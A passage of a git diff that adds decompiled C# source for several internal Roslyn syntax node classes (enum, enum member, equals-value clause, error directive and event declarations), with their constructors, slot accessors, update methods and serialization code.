SyntaxToken closeBraceToken, SyntaxToken semicolonToken) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0069: Unknown result type (might be due to invalid IL or missing references) + //IL_006a: Unknown result type (might be due to invalid IL or missing references) + //IL_0072: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + //IL_0046: Unknown result type (might be due to invalid IL or missing references) + //IL_004b: Unknown result type (might be due to invalid IL or missing references) + if (!(attributeLists != AttributeLists) && !(modifiers != Modifiers) && enumKeyword == EnumKeyword && identifier == Identifier && baseList == BaseList && openBraceToken == OpenBraceToken) + { + SeparatedSyntaxList val = Members; + if (!((ref members) != (ref val)) && closeBraceToken == CloseBraceToken && semicolonToken == SemicolonToken) + { + return this; + } + } + EnumDeclarationSyntax enumDeclarationSyntax = SyntaxFactory.EnumDeclaration(attributeLists, modifiers, enumKeyword, identifier, baseList, openBraceToken, members, closeBraceToken, semicolonToken); + DiagnosticInfo[] diagnostics = ((GreenNode)this).GetDiagnostics(); + if (diagnostics != null && diagnostics.Length != 0) + { + enumDeclarationSyntax = GreenNodeExtensions.WithDiagnosticsGreen(enumDeclarationSyntax, diagnostics); + } + SyntaxAnnotation[] annotations = ((GreenNode)this).GetAnnotations(); + if (annotations != null && annotations.Length != 0) + { + enumDeclarationSyntax = GreenNodeExtensions.WithAnnotationsGreen(enumDeclarationSyntax, (IEnumerable)annotations); + } + return enumDeclarationSyntax; + } + + internal override GreenNode SetDiagnostics(DiagnosticInfo[]? diagnostics) + { + return (GreenNode)(object)new EnumDeclarationSyntax(base.Kind, attributeLists, modifiers, enumKeyword, identifier, baseList, openBraceToken, members, closeBraceToken, semicolonToken, diagnostics, ((GreenNode)this).GetAnnotations()); + } + + internal override GreenNode SetAnnotations(SyntaxAnnotation[]? annotations) + { + return (GreenNode)(object)new EnumDeclarationSyntax(base.Kind, attributeLists, modifiers, enumKeyword, identifier, baseList, openBraceToken, members, closeBraceToken, semicolonToken, ((GreenNode)this).GetDiagnostics(), annotations); + } + + internal EnumDeclarationSyntax(ObjectReader reader) + : base(reader) + { + //IL_0015: Unknown result type (might be due to invalid IL or missing references) + //IL_001b: Expected O, but got Unknown + //IL_0032: Unknown result type (might be due to invalid IL or missing references) + //IL_0038: Expected O, but got Unknown + //IL_00c5: Unknown result type (might be due to invalid IL or missing references) + //IL_00cc: Expected O, but got Unknown + ((GreenNode)this).SlotCount = 9; + GreenNode val = (GreenNode)reader.ReadValue(); + if (val != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(val); + attributeLists = val; + } + GreenNode val2 = (GreenNode)reader.ReadValue(); + if (val2 != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(val2); + modifiers = val2; + } + SyntaxToken syntaxToken = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken); + enumKeyword = syntaxToken; + SyntaxToken syntaxToken2 = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken2); + identifier = syntaxToken2; + BaseListSyntax baseListSyntax = (BaseListSyntax)reader.ReadValue(); + if (baseListSyntax != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)baseListSyntax); + baseList = baseListSyntax; + } + SyntaxToken syntaxToken3 = (SyntaxToken)reader.ReadValue(); + if (syntaxToken3 != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken3); + openBraceToken = syntaxToken3; + } + GreenNode val3 = (GreenNode)reader.ReadValue(); + if (val3 != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(val3); + members = val3; + } + SyntaxToken syntaxToken4 = (SyntaxToken)reader.ReadValue(); + if (syntaxToken4 != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken4); + closeBraceToken = syntaxToken4; + } + SyntaxToken syntaxToken5 = (SyntaxToken)reader.ReadValue(); + if (syntaxToken5 != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken5); + semicolonToken = syntaxToken5; + } + } + + internal override void WriteTo(ObjectWriter writer) + { + ((GreenNode)this).WriteTo(writer); + writer.WriteValue((IObjectWritable)(object)attributeLists); + writer.WriteValue((IObjectWritable)(object)modifiers); + writer.WriteValue((IObjectWritable)(object)enumKeyword); + writer.WriteValue((IObjectWritable)(object)identifier); + writer.WriteValue((IObjectWritable)(object)baseList); + writer.WriteValue((IObjectWritable)(object)openBraceToken); + writer.WriteValue((IObjectWritable)(object)members); + writer.WriteValue((IObjectWritable)(object)closeBraceToken); + writer.WriteValue((IObjectWritable)(object)semicolonToken); + } + + static EnumDeclarationSyntax() + { + ObjectBinder.RegisterTypeReader(typeof(EnumDeclarationSyntax), (Func)((ObjectReader r) => (IObjectWritable)(object)new EnumDeclarationSyntax(r))); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/EnumMemberDeclarationSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/EnumMemberDeclarationSyntax.cs new file mode 100644 index 0000000..228ac73 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/EnumMemberDeclarationSyntax.cs @@ -0,0 +1,203 @@ +using System; +using System.Collections.Generic; +using Microsoft.CodeAnalysis.Syntax.InternalSyntax; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +internal sealed class EnumMemberDeclarationSyntax : MemberDeclarationSyntax +{ + internal readonly GreenNode? attributeLists; + + internal readonly GreenNode? modifiers; + + internal readonly SyntaxToken identifier; + + internal readonly EqualsValueClauseSyntax? equalsValue; + + public override SyntaxList AttributeLists => new SyntaxList(attributeLists); + + public override SyntaxList Modifiers => new SyntaxList(modifiers); + + public SyntaxToken Identifier => identifier; + + public EqualsValueClauseSyntax? EqualsValue => equalsValue; + + internal EnumMemberDeclarationSyntax(SyntaxKind kind, GreenNode? attributeLists, GreenNode? modifiers, SyntaxToken identifier, EqualsValueClauseSyntax? equalsValue, DiagnosticInfo[]? diagnostics, SyntaxAnnotation[]? annotations) + : base(kind, diagnostics, annotations) + { + ((GreenNode)this).SlotCount = 4; + if (attributeLists != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(attributeLists); + this.attributeLists = attributeLists; + } + if (modifiers != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(modifiers); + this.modifiers = modifiers; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)identifier); + this.identifier = identifier; + if (equalsValue != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)equalsValue); + this.equalsValue = equalsValue; + } + } + + internal EnumMemberDeclarationSyntax(SyntaxKind kind, GreenNode? attributeLists, GreenNode? modifiers, SyntaxToken identifier, EqualsValueClauseSyntax? equalsValue, SyntaxFactoryContext context) + : base(kind) + { + SetFactoryContext(context); + ((GreenNode)this).SlotCount = 4; + if (attributeLists != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(attributeLists); + this.attributeLists = attributeLists; + } + if (modifiers != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(modifiers); + this.modifiers = modifiers; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)identifier); + this.identifier = identifier; + if (equalsValue != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)equalsValue); + this.equalsValue = equalsValue; + } + } + + internal EnumMemberDeclarationSyntax(SyntaxKind kind, GreenNode? attributeLists, GreenNode? modifiers, SyntaxToken identifier, EqualsValueClauseSyntax? equalsValue) + : base(kind) + { + ((GreenNode)this).SlotCount = 4; + if (attributeLists != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(attributeLists); + this.attributeLists = attributeLists; + } + if (modifiers != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(modifiers); + this.modifiers = modifiers; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)identifier); + this.identifier = identifier; + if (equalsValue != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)equalsValue); + this.equalsValue = equalsValue; + } + } + + internal override GreenNode? GetSlot(int index) + { + return (GreenNode?)(index switch + { + 0 => attributeLists, + 1 => modifiers, + 2 => identifier, + 3 => equalsValue, + _ => null, + }); + } + + internal override SyntaxNode CreateRed(SyntaxNode? parent, int position) + { + return (SyntaxNode)(object)new Microsoft.CodeAnalysis.CSharp.Syntax.EnumMemberDeclarationSyntax(this, parent, position); + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitEnumMemberDeclaration(this); + } + + public override TResult Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitEnumMemberDeclaration(this); + } + + public EnumMemberDeclarationSyntax Update(SyntaxList attributeLists, SyntaxList modifiers, SyntaxToken identifier, EqualsValueClauseSyntax equalsValue) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_002f: Unknown result type (might be due to invalid IL or missing references) + //IL_0030: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + if (attributeLists != AttributeLists || modifiers != Modifiers || identifier != Identifier || equalsValue != EqualsValue) + { + EnumMemberDeclarationSyntax enumMemberDeclarationSyntax = SyntaxFactory.EnumMemberDeclaration(attributeLists, modifiers, identifier, equalsValue); + DiagnosticInfo[] diagnostics = ((GreenNode)this).GetDiagnostics(); + if (diagnostics != null && diagnostics.Length != 0) + { + enumMemberDeclarationSyntax = GreenNodeExtensions.WithDiagnosticsGreen(enumMemberDeclarationSyntax, diagnostics); + } + SyntaxAnnotation[] annotations = ((GreenNode)this).GetAnnotations(); + if (annotations != null && annotations.Length != 0) + { + enumMemberDeclarationSyntax = GreenNodeExtensions.WithAnnotationsGreen(enumMemberDeclarationSyntax, (IEnumerable)annotations); + } + return enumMemberDeclarationSyntax; + } + return this; + } + + internal override GreenNode SetDiagnostics(DiagnosticInfo[]? diagnostics) + { + return (GreenNode)(object)new EnumMemberDeclarationSyntax(base.Kind, attributeLists, modifiers, identifier, equalsValue, diagnostics, ((GreenNode)this).GetAnnotations()); + } + + internal override GreenNode SetAnnotations(SyntaxAnnotation[]? annotations) + { + return (GreenNode)(object)new EnumMemberDeclarationSyntax(base.Kind, attributeLists, modifiers, identifier, equalsValue, ((GreenNode)this).GetDiagnostics(), annotations); + } + + internal EnumMemberDeclarationSyntax(ObjectReader reader) + : base(reader) + { + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_001a: Expected O, but got Unknown + //IL_0031: Unknown result type (might be due to invalid IL or missing references) + //IL_0037: Expected O, but got Unknown + ((GreenNode)this).SlotCount = 4; + GreenNode val = (GreenNode)reader.ReadValue(); + if (val != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(val); + attributeLists = val; + } + GreenNode val2 = (GreenNode)reader.ReadValue(); + if (val2 != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(val2); + modifiers = val2; + } + SyntaxToken syntaxToken = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken); + identifier = syntaxToken; + EqualsValueClauseSyntax equalsValueClauseSyntax = (EqualsValueClauseSyntax)reader.ReadValue(); + if (equalsValueClauseSyntax != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)equalsValueClauseSyntax); + equalsValue = equalsValueClauseSyntax; + } + } + + internal override void WriteTo(ObjectWriter writer) + { + ((GreenNode)this).WriteTo(writer); + writer.WriteValue((IObjectWritable)(object)attributeLists); + writer.WriteValue((IObjectWritable)(object)modifiers); + writer.WriteValue((IObjectWritable)(object)identifier); + writer.WriteValue((IObjectWritable)(object)equalsValue); + } + + static EnumMemberDeclarationSyntax() + { + ObjectBinder.RegisterTypeReader(typeof(EnumMemberDeclarationSyntax), (Func)((ObjectReader r) => (IObjectWritable)(object)new EnumMemberDeclarationSyntax(r))); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/EqualsValueClauseSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/EqualsValueClauseSyntax.cs new file mode 100644 index 0000000..544a927 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/EqualsValueClauseSyntax.cs @@ -0,0 +1,126 @@ +using System; +using System.Collections.Generic; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +internal sealed class EqualsValueClauseSyntax : CSharpSyntaxNode +{ + internal readonly SyntaxToken equalsToken; + + internal readonly ExpressionSyntax value; + + public SyntaxToken EqualsToken => equalsToken; + + public ExpressionSyntax Value => value; + + internal EqualsValueClauseSyntax(SyntaxKind kind, SyntaxToken equalsToken, ExpressionSyntax value, DiagnosticInfo[]? diagnostics, SyntaxAnnotation[]? annotations) + : base(kind, diagnostics, annotations) + { + ((GreenNode)this).SlotCount = 2; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)equalsToken); + this.equalsToken = equalsToken; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)value); + this.value = value; + } + + internal EqualsValueClauseSyntax(SyntaxKind kind, SyntaxToken equalsToken, ExpressionSyntax value, SyntaxFactoryContext context) + : base(kind) + { + SetFactoryContext(context); + ((GreenNode)this).SlotCount = 2; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)equalsToken); + this.equalsToken = equalsToken; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)value); + this.value = value; + } + + internal EqualsValueClauseSyntax(SyntaxKind kind, SyntaxToken equalsToken, ExpressionSyntax value) + : base(kind) + { + ((GreenNode)this).SlotCount = 2; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)equalsToken); + this.equalsToken = equalsToken; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)value); + this.value = value; + } + + internal override GreenNode? GetSlot(int index) + { + return (GreenNode?)(index switch + { + 0 => equalsToken, + 1 => value, + _ => null, + }); + } + + internal override SyntaxNode CreateRed(SyntaxNode? parent, int position) + { + return (SyntaxNode)(object)new Microsoft.CodeAnalysis.CSharp.Syntax.EqualsValueClauseSyntax(this, parent, position); + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitEqualsValueClause(this); + } + + public override TResult Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitEqualsValueClause(this); + } + + public EqualsValueClauseSyntax Update(SyntaxToken equalsToken, ExpressionSyntax value) + { + if (equalsToken != EqualsToken || value != Value) + { + EqualsValueClauseSyntax equalsValueClauseSyntax = SyntaxFactory.EqualsValueClause(equalsToken, value); + DiagnosticInfo[] diagnostics = ((GreenNode)this).GetDiagnostics(); + if (diagnostics != null && diagnostics.Length != 0) + { + equalsValueClauseSyntax = GreenNodeExtensions.WithDiagnosticsGreen(equalsValueClauseSyntax, diagnostics); + } + SyntaxAnnotation[] annotations = ((GreenNode)this).GetAnnotations(); + if (annotations != null && annotations.Length != 0) + { + equalsValueClauseSyntax = GreenNodeExtensions.WithAnnotationsGreen(equalsValueClauseSyntax, (IEnumerable)annotations); + } + return equalsValueClauseSyntax; + } + return this; + } + + internal override GreenNode SetDiagnostics(DiagnosticInfo[]? diagnostics) + { + return (GreenNode)(object)new EqualsValueClauseSyntax(base.Kind, equalsToken, value, diagnostics, ((GreenNode)this).GetAnnotations()); + } + + internal override GreenNode SetAnnotations(SyntaxAnnotation[]? annotations) + { + return (GreenNode)(object)new EqualsValueClauseSyntax(base.Kind, equalsToken, value, ((GreenNode)this).GetDiagnostics(), annotations); + } + + internal EqualsValueClauseSyntax(ObjectReader reader) + : base(reader) + { + ((GreenNode)this).SlotCount = 2; + SyntaxToken syntaxToken = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken); + equalsToken = syntaxToken; + ExpressionSyntax expressionSyntax = (ExpressionSyntax)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)expressionSyntax); + value = expressionSyntax; + } + + internal override void WriteTo(ObjectWriter writer) + { + ((GreenNode)this).WriteTo(writer); + writer.WriteValue((IObjectWritable)(object)equalsToken); + writer.WriteValue((IObjectWritable)(object)value); + } + + static EqualsValueClauseSyntax() + { + ObjectBinder.RegisterTypeReader(typeof(EqualsValueClauseSyntax), (Func)((ObjectReader r) => (IObjectWritable)(object)new EqualsValueClauseSyntax(r))); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/ErrorDirectiveTriviaSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/ErrorDirectiveTriviaSyntax.cs new file mode 100644 index 0000000..bd96ac6 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/ErrorDirectiveTriviaSyntax.cs @@ -0,0 +1,150 @@ +using System; +using System.Collections.Generic; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +internal sealed class ErrorDirectiveTriviaSyntax : DirectiveTriviaSyntax +{ + internal readonly SyntaxToken hashToken; + + internal readonly SyntaxToken errorKeyword; + + internal readonly SyntaxToken endOfDirectiveToken; + + internal readonly bool isActive; + + public override SyntaxToken HashToken => hashToken; + + public SyntaxToken ErrorKeyword => errorKeyword; + + public override SyntaxToken EndOfDirectiveToken => endOfDirectiveToken; + + public override bool IsActive => isActive; + + internal ErrorDirectiveTriviaSyntax(SyntaxKind kind, SyntaxToken hashToken, SyntaxToken errorKeyword, SyntaxToken endOfDirectiveToken, bool isActive, DiagnosticInfo[]? diagnostics, SyntaxAnnotation[]? annotations) + : base(kind, diagnostics, annotations) + { + ((GreenNode)this).SlotCount = 3; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)hashToken); + this.hashToken = hashToken; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)errorKeyword); + this.errorKeyword = errorKeyword; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)endOfDirectiveToken); + this.endOfDirectiveToken = endOfDirectiveToken; + this.isActive = isActive; + } + + internal ErrorDirectiveTriviaSyntax(SyntaxKind kind, SyntaxToken hashToken, SyntaxToken errorKeyword, SyntaxToken endOfDirectiveToken, bool isActive, SyntaxFactoryContext context) + : base(kind) + { + SetFactoryContext(context); + ((GreenNode)this).SlotCount = 3; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)hashToken); + this.hashToken = hashToken; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)errorKeyword); + this.errorKeyword = errorKeyword; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)endOfDirectiveToken); + this.endOfDirectiveToken = endOfDirectiveToken; + this.isActive = isActive; + } + + internal ErrorDirectiveTriviaSyntax(SyntaxKind kind, SyntaxToken hashToken, SyntaxToken errorKeyword, SyntaxToken endOfDirectiveToken, bool isActive) + : base(kind) + { + ((GreenNode)this).SlotCount = 3; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)hashToken); + this.hashToken = hashToken; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)errorKeyword); + this.errorKeyword = errorKeyword; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)endOfDirectiveToken); + this.endOfDirectiveToken = endOfDirectiveToken; + this.isActive = isActive; + } + + internal override GreenNode? GetSlot(int index) + { + return (GreenNode?)(index switch + { + 0 => hashToken, + 1 => errorKeyword, + 2 => endOfDirectiveToken, + _ => null, + }); + } + + internal override SyntaxNode CreateRed(SyntaxNode? parent, int position) + { + return (SyntaxNode)(object)new Microsoft.CodeAnalysis.CSharp.Syntax.ErrorDirectiveTriviaSyntax(this, parent, position); + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitErrorDirectiveTrivia(this); + } + + public override TResult Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitErrorDirectiveTrivia(this); + } + + public ErrorDirectiveTriviaSyntax Update(SyntaxToken hashToken, SyntaxToken errorKeyword, SyntaxToken endOfDirectiveToken, bool isActive) + { + if (hashToken != HashToken || errorKeyword != ErrorKeyword || endOfDirectiveToken != EndOfDirectiveToken) + { + ErrorDirectiveTriviaSyntax errorDirectiveTriviaSyntax = SyntaxFactory.ErrorDirectiveTrivia(hashToken, errorKeyword, endOfDirectiveToken, isActive); + DiagnosticInfo[] diagnostics = ((GreenNode)this).GetDiagnostics(); + if (diagnostics != null && diagnostics.Length != 0) + { + errorDirectiveTriviaSyntax = GreenNodeExtensions.WithDiagnosticsGreen(errorDirectiveTriviaSyntax, diagnostics); + } + SyntaxAnnotation[] annotations = ((GreenNode)this).GetAnnotations(); + if (annotations != null && annotations.Length != 0) + { + errorDirectiveTriviaSyntax = GreenNodeExtensions.WithAnnotationsGreen(errorDirectiveTriviaSyntax, (IEnumerable)annotations); + } + return errorDirectiveTriviaSyntax; + } + return this; + } + + internal override GreenNode SetDiagnostics(DiagnosticInfo[]? diagnostics) + { + return (GreenNode)(object)new ErrorDirectiveTriviaSyntax(base.Kind, hashToken, errorKeyword, endOfDirectiveToken, isActive, diagnostics, ((GreenNode)this).GetAnnotations()); + } + + internal override GreenNode SetAnnotations(SyntaxAnnotation[]? annotations) + { + return (GreenNode)(object)new ErrorDirectiveTriviaSyntax(base.Kind, hashToken, errorKeyword, endOfDirectiveToken, isActive, ((GreenNode)this).GetDiagnostics(), annotations); + } + + internal ErrorDirectiveTriviaSyntax(ObjectReader reader) + : base(reader) + { + ((GreenNode)this).SlotCount = 3; + SyntaxToken syntaxToken = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken); + hashToken = syntaxToken; + SyntaxToken syntaxToken2 = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken2); + errorKeyword = syntaxToken2; + SyntaxToken syntaxToken3 = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken3); + endOfDirectiveToken = syntaxToken3; + isActive = reader.ReadBoolean(); + } + + internal override void WriteTo(ObjectWriter writer) + { + ((GreenNode)this).WriteTo(writer); + writer.WriteValue((IObjectWritable)(object)hashToken); + writer.WriteValue((IObjectWritable)(object)errorKeyword); + writer.WriteValue((IObjectWritable)(object)endOfDirectiveToken); + writer.WriteBoolean(isActive); + } + + static ErrorDirectiveTriviaSyntax() + { + ObjectBinder.RegisterTypeReader(typeof(ErrorDirectiveTriviaSyntax), (Func)((ObjectReader r) => (IObjectWritable)(object)new ErrorDirectiveTriviaSyntax(r))); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/EventDeclarationSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/EventDeclarationSyntax.cs new file mode 100644 index 0000000..cb7dac8 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/EventDeclarationSyntax.cs @@ -0,0 +1,287 @@ +using System; +using System.Collections.Generic; +using Microsoft.CodeAnalysis.Syntax.InternalSyntax; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +internal sealed class EventDeclarationSyntax : BasePropertyDeclarationSyntax +{ + internal readonly GreenNode? attributeLists; + + internal readonly GreenNode? modifiers; + + internal readonly SyntaxToken eventKeyword; + + internal readonly TypeSyntax type; + + internal readonly ExplicitInterfaceSpecifierSyntax? explicitInterfaceSpecifier; + + internal readonly SyntaxToken identifier; + + internal readonly AccessorListSyntax? accessorList; + + internal readonly SyntaxToken? semicolonToken; + + public override SyntaxList AttributeLists => new SyntaxList(attributeLists); + + public override SyntaxList Modifiers => new SyntaxList(modifiers); + + public SyntaxToken EventKeyword => eventKeyword; + + public override TypeSyntax Type => type; + + public override ExplicitInterfaceSpecifierSyntax? ExplicitInterfaceSpecifier => explicitInterfaceSpecifier; + + public SyntaxToken Identifier => identifier; + + public override AccessorListSyntax? AccessorList => accessorList; + + public SyntaxToken? SemicolonToken => semicolonToken; + + internal EventDeclarationSyntax(SyntaxKind kind, GreenNode? attributeLists, GreenNode? modifiers, SyntaxToken eventKeyword, TypeSyntax type, ExplicitInterfaceSpecifierSyntax? explicitInterfaceSpecifier, SyntaxToken identifier, AccessorListSyntax? accessorList, SyntaxToken? semicolonToken, DiagnosticInfo[]? diagnostics, SyntaxAnnotation[]? annotations) + : base(kind, diagnostics, annotations) + { + ((GreenNode)this).SlotCount = 8; + if (attributeLists != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(attributeLists); + this.attributeLists = attributeLists; + } + if (modifiers != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(modifiers); + this.modifiers = modifiers; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)eventKeyword); + this.eventKeyword = eventKeyword; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)type); + this.type = type; + if (explicitInterfaceSpecifier != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)explicitInterfaceSpecifier); + this.explicitInterfaceSpecifier = explicitInterfaceSpecifier; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)identifier); + this.identifier = identifier; + if (accessorList != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)accessorList); + this.accessorList = accessorList; + } + if (semicolonToken != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)semicolonToken); + this.semicolonToken = semicolonToken; + } + } + + internal EventDeclarationSyntax(SyntaxKind kind, GreenNode? attributeLists, GreenNode? modifiers, SyntaxToken eventKeyword, TypeSyntax type, ExplicitInterfaceSpecifierSyntax? explicitInterfaceSpecifier, SyntaxToken identifier, AccessorListSyntax? accessorList, SyntaxToken? semicolonToken, SyntaxFactoryContext context) + : base(kind) + { + SetFactoryContext(context); + ((GreenNode)this).SlotCount = 8; + if (attributeLists != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(attributeLists); + this.attributeLists = attributeLists; + } + if (modifiers != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(modifiers); + this.modifiers = modifiers; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)eventKeyword); + this.eventKeyword = eventKeyword; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)type); + this.type = type; + if (explicitInterfaceSpecifier != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)explicitInterfaceSpecifier); + this.explicitInterfaceSpecifier = explicitInterfaceSpecifier; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)identifier); + this.identifier = identifier; + if (accessorList != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)accessorList); + this.accessorList = accessorList; + } + if (semicolonToken != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)semicolonToken); + this.semicolonToken = semicolonToken; + } + } + + internal EventDeclarationSyntax(SyntaxKind kind, GreenNode? attributeLists, GreenNode? modifiers, SyntaxToken eventKeyword, TypeSyntax type, ExplicitInterfaceSpecifierSyntax? explicitInterfaceSpecifier, SyntaxToken identifier, AccessorListSyntax? accessorList, SyntaxToken? semicolonToken) + : base(kind) + { + ((GreenNode)this).SlotCount = 8; + if (attributeLists != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(attributeLists); + this.attributeLists = attributeLists; + } + if (modifiers != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(modifiers); + this.modifiers = modifiers; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)eventKeyword); + this.eventKeyword = eventKeyword; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)type); + this.type = type; + if (explicitInterfaceSpecifier != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)explicitInterfaceSpecifier); + this.explicitInterfaceSpecifier = explicitInterfaceSpecifier; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)identifier); + this.identifier = identifier; + if (accessorList != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)accessorList); + this.accessorList = accessorList; + } + if (semicolonToken != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)semicolonToken); + this.semicolonToken = semicolonToken; + } + } + + internal override GreenNode? GetSlot(int index) + { + return (GreenNode?)(index switch + { + 0 => attributeLists, + 1 => modifiers, + 2 => eventKeyword, + 3 => type, + 4 => explicitInterfaceSpecifier, + 5 => identifier, + 6 => accessorList, + 7 => semicolonToken, + _ => null, + }); + } + + internal override SyntaxNode CreateRed(SyntaxNode? parent, int position) + { + return (SyntaxNode)(object)new 